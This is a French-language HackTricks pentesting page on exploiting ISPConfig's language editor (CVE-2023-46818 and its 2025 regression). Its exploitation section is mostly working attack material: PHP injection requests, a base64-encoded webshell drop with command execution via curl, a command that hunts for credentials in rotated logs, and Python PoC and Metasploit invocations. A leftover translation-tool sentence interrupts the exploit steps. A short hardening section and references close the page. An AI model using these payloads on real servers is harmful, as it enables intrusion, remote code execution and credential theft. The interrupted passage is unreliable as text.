ISPConfig
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Aperçu
ISPConfig est un panneau de contrôle d’hébergement open-source. Les anciennes versions 3.2.x contenaient une fonctionnalité d’éditeur de fichiers de langue qui, lorsqu’elle était activée pour le super administrateur, permettait l’injection arbitraire de code PHP via un enregistrement de traduction malformé. Cela peut aboutir à RCE dans le contexte du serveur web et, selon la façon dont PHP est exécuté, à une privilege escalation.
Key default paths:
- Web root often at
/var/www/ispconfigwhen served withphp -Sor via Apache/nginx. - Admin UI reachable on the HTTP(S) vhost (sometimes bound to localhost only; use SSH port-forward if needed).
Tip: If the panel is bound locally (e.g. 127.0.0.1:8080), forward it:
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
Éditeur de langue PHP code injection (CVE-2023-46818)
- Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
- Preconditions:
- Login as the built-in superadmin account
admin(other roles are not affected according to the vendor) - Language editor must be enabled:
admin_allow_langedit=yesin/usr/local/ispconfig/security/security_settings.ini - Impact: Un admin authentifié peut injecter du PHP arbitraire qui est écrit dans un fichier de langue et exécuté par l’application, permettant une RCE dans le contexte web
Références: NVD entry CVE-2023-46818 et lien de l’avis du fournisseur dans la section Références ci‑dessous.
Procédure d’exploitation manuelle
- Ouvrir/créer un fichier de langue pour obtenir les tokens CSRF
Envoyer un premier POST pour initialiser le formulaire et analyser les champs CSRF depuis la réponse HTML (csrf_id, csrf_key). Exemple de chemin de requête: /admin/language_edit.php.
- Injecter du PHP via records[] et sauvegarder
Soumettre un second POST incluant les champs CSRF et un enregistrement de traduction malveillant. Tests minimaux d’exécution de commande:
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
Out-of-band test (observer ICMP):
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
- Écrire des fichiers et déposer une webshell
Utilisez file_put_contents pour créer un fichier sous un chemin accessible depuis le web (e.g., admin/):
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
Ensuite, écrivez un webshell simple utilisant base64 pour éviter les caractères indésirables dans le corps de la requête POST :
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
Veuillez coller le contenu de src/network-services-pentesting/pentesting-web/ispconfig.md à traduire. Je préserverai exactement la syntaxe markdown/html et n’effectuerai pas la traduction des éléments spécifiés (code, chemins, tags, liens, noms de plateformes, etc.).
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
Si PHP est exécuté en tant que root (par ex., via php -S 127.0.0.1:8080 lancé par root), cela donne immédiatement une root RCE. Sinon, vous obtenez l’exécution de code en tant qu’utilisateur du serveur web.
Régression 2025 (ISPConfig 3.3.0 / 3.3.0p1)
Le bug de l’éditeur de langue est réapparu dans 3.3.0/3.3.0p1 et a été corrigé dans 3.3.0p2. Les préconditions restent inchangées (admin_allow_langedit et admin login). Le même patch a également corrigé un monitor XSS et des logs rotatés lisibles par tous.
Remarques :
- Sur 3.3.0/3.3.0p1, des logs rotatés lisibles par tous sous
/usr/local/ispconfig/interface/log/may leak credentials si le debug logging était activé:
find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
- Les étapes de l’exploit correspondent à CVE-2023-46818 ; la version 3.3.0p2 ajoute des vérifications supplémentaires avant toute modification de la langue.
Python PoC
Un exploit prêt à l’emploi automatise la gestion des tokens et la livraison des payloads :
Exemple d’exécution :
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
Metasploit module (publié juillet 2025)
Rapid7 a ajouté exploit/linux/http/ispconfig_lang_edit_php_code_injection, qui peut activer automatiquement admin_allow_langedit si le compte admin fourni dispose des droits system-config.
use exploit/linux/http/ispconfig_lang_edit_php_code_injection
set RHOSTS 10.10.10.50
set RPORT 8080
set USERNAME admin
set PASSWORD <admin_pass>
set TARGETURI /
run
Le module écrit un base64-encoded payload via records[] et l’exécute, donnant un PHP Meterpreter ou un custom payload.
Durcissement
- Mettez à jour vers 3.2.11p1 ou ultérieure pour le problème original, et vers 3.3.0p2 ou ultérieure pour la régression de 2025.
- Désactivez l’éditeur de langue sauf si strictement nécessaire:
admin_allow_langedit=no
- Évitez d’exécuter le panneau de contrôle en tant que root ; configurez PHP-FPM ou le serveur web pour réduire les privilèges
- Exigez une authentification forte pour le compte intégré
admin
Références
- ISPConfig 3.2.11p1 Released (fixes language editor code injection)
- CVE-2023-46818 – NVD
- bipbopbup/CVE-2023-46818-python-exploit
- HTB Nocturnal: Root via ISPConfig language editor RCE
- ISPConfig 3.3.0p2 Released – Security Update
- CXSecurity WLB-2025070017 – Metasploit module for ISPConfig language_edit.php
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


